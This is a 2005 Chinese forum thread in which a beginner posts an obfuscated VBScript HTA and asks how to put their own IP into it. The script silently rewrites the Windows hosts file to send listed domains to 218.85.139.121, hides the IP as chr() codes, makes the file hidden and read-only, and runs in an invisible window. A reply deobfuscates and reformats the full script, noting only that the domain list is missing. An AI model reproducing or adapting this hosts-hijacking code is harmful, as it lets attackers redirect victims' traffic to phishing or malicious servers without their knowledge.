问个问题我是新手！找了google baidu 没找到结果

zhangyunjian1 2005-10-09 12:05:54

Dim sucess:sucess = 0:Set fso=CreateObject("scripting.FileSystemObject"):Function l():l1=fso.GetSpecialFolder(0):l2=fso.GetSpecialFolder(1):If instr(lcase(l2),"system32")>1 then:l=l1&"\system32\drivers\etc\hosts":Else:l=l1&"\hosts":End If:End Function:p=l():Function wDNS():On Error Resume Next:If fso.FileExists(p) Then:fso.GetFile(p).Attributes = 0:End If:Set f = fso.CreateTextFile(p, True):f.WriteLine("127.0.0.1" & chr(9) & "localhost"):d=".":k = Split(list,","):For i = 0 To UBound(k):If Left(k(i),4) = "w"&"w"&"w"&"." Then:kk = k(i):ks = Right(k(i),len(k(i))-4):Else:kk = "www." & k(i):ks = k(i):End If:If len("218.85.139.121")=14 Then:f.WriteLine chr(50)&chr(49)&chr(56)&d&chr(56)&chr(53)&d&chr(49)&chr(51)&chr(57)&d&chr(49)&chr(50)&chr(49)&chr(9)&kk:f.WriteLine chr(50)&chr(49)&chr(56)&d&chr(56)&chr(53)&d&chr(49)&chr(51)&chr(57)&d&chr(49)&chr(50)&chr(49)&chr(9)&ks:End If:Next:f.close():fso.GetFile(p).Attributes=7:If err.Number<>0 Then:wDNS = false:If "118.85.139.121" Then:End If:Else:wDNS = true:End If:End Function:Sub FF():If wDNS = true Then:sucess=0:window.close():End If:End Sub</script><script language=JavaScript>function F(){FF(); if (sucess==0) setTimeout("F()", 2000);}setTimeout("F()", 2000);parent.moveTo((screen.width-0)/2,(screen.height-0)/2);parent.resizeTo(0,0);</script></head><HTA:APPLICATION caption="no" border="none" SHOWINTASKBAR="no"><body bgcolor="#ffffff" text="#000000" scroll="no" leftmargin="2" topmargin="3" marginwidth="0" marginheight="0" oncontextmenu='self.event.returnvalue=0' onkeydown="javascript:if(event.keyCode==27 || event.keyCode==78 && event.ctrlKey)return false;"></body></html>

这里面的chr(50)&chr(49)&chr(56)&d&chr(56)&chr(53)&d&chr(49)&chr(51)&chr(57)&d&chr(49)&chr(50)&chr(49)&chr(9)&kk:f.WriteLine chr(50)&chr(49)&chr(56)&d&chr(56)&chr(53)&d&chr(49)&chr(51)&chr(57)&d&chr(49)&chr(50)&chr(49)&chr(9)&
什么意思
我先换成我自己的IP 如何换
请高手赐教

...全文

110 2 打赏收藏转发到动态举报

写回复

用AI写文章

2 条回复

切换为时间正序

请发表友善的回复…

发表回复

是是非非 2005-10-09

打赏
举报

代码不完整，list变量不知道是从哪儿来的

<script language="VBScript">
Dim sucess : sucess = 0
Set fso=CreateObject("scripting.FileSystemObject")

Function GetHostsFileLocation()
Dim WinDir : WinDir=fso.GetSpecialFolder(0)
Dim SysDir : SysDir=fso.GetSpecialFolder(1)
If instr(lcase(SysDir),"system32")>1 then
GetHostsFileLocation = WinDir & "\system32\drivers\etc\hosts"
Else
GetHostsFileLocation = WinDir & "\hosts"
End If
End Function

Dim HostsFileLocation : HostsFileLocation=GetHostsFileLocation()

Function wDNS()
On Error Resume Next
If fso.FileExists(HostsFileLocation) Then
fso.GetFile(HostsFileLocation).Attributes = 0
End If
Dim HostFile : Set HostFile = fso.CreateTextFile(HostsFileLocation, True)
HostFile.WriteLine("127.0.0.1" & chr(9) & "localhost")
d="."
k = Split(list,",")
For i = 0 To UBound(k)
If Left(k(i),4) = "www." Then
kk = k(i)
ks = Right(k(i),len(k(i))-4)
Else
kk = "www." & k(i)
ks = k(i)
End If
If len("218.85.139.121")=14 Then
HostFile.WriteLine chr(50) & chr(49) & chr(56) & d & chr(56) & chr(53) & d & chr(49) & chr(51) & chr(57) & d & chr(49) & chr(50) & chr(49) & chr(9) & kk
HostFile.WriteLine chr(50) & chr(49) & chr(56) & d & chr(56) & chr(53) & d & chr(49) & chr(51) & chr(57) & d & chr(49) & chr(50) & chr(49) & chr(9) & ks
End If
Next
HostFile.close()
fso.GetFile(HostsFileLocation).Attributes=7
If err.Number<>0 Then
wDNS = false
If "118.85.139.121" Then
'=================
End If
Else
wDNS = true
End If
End Function

Sub FF()
If wDNS = true Then
sucess=0
window.close()
End If
End Sub
</script>

是是非非 2005-10-09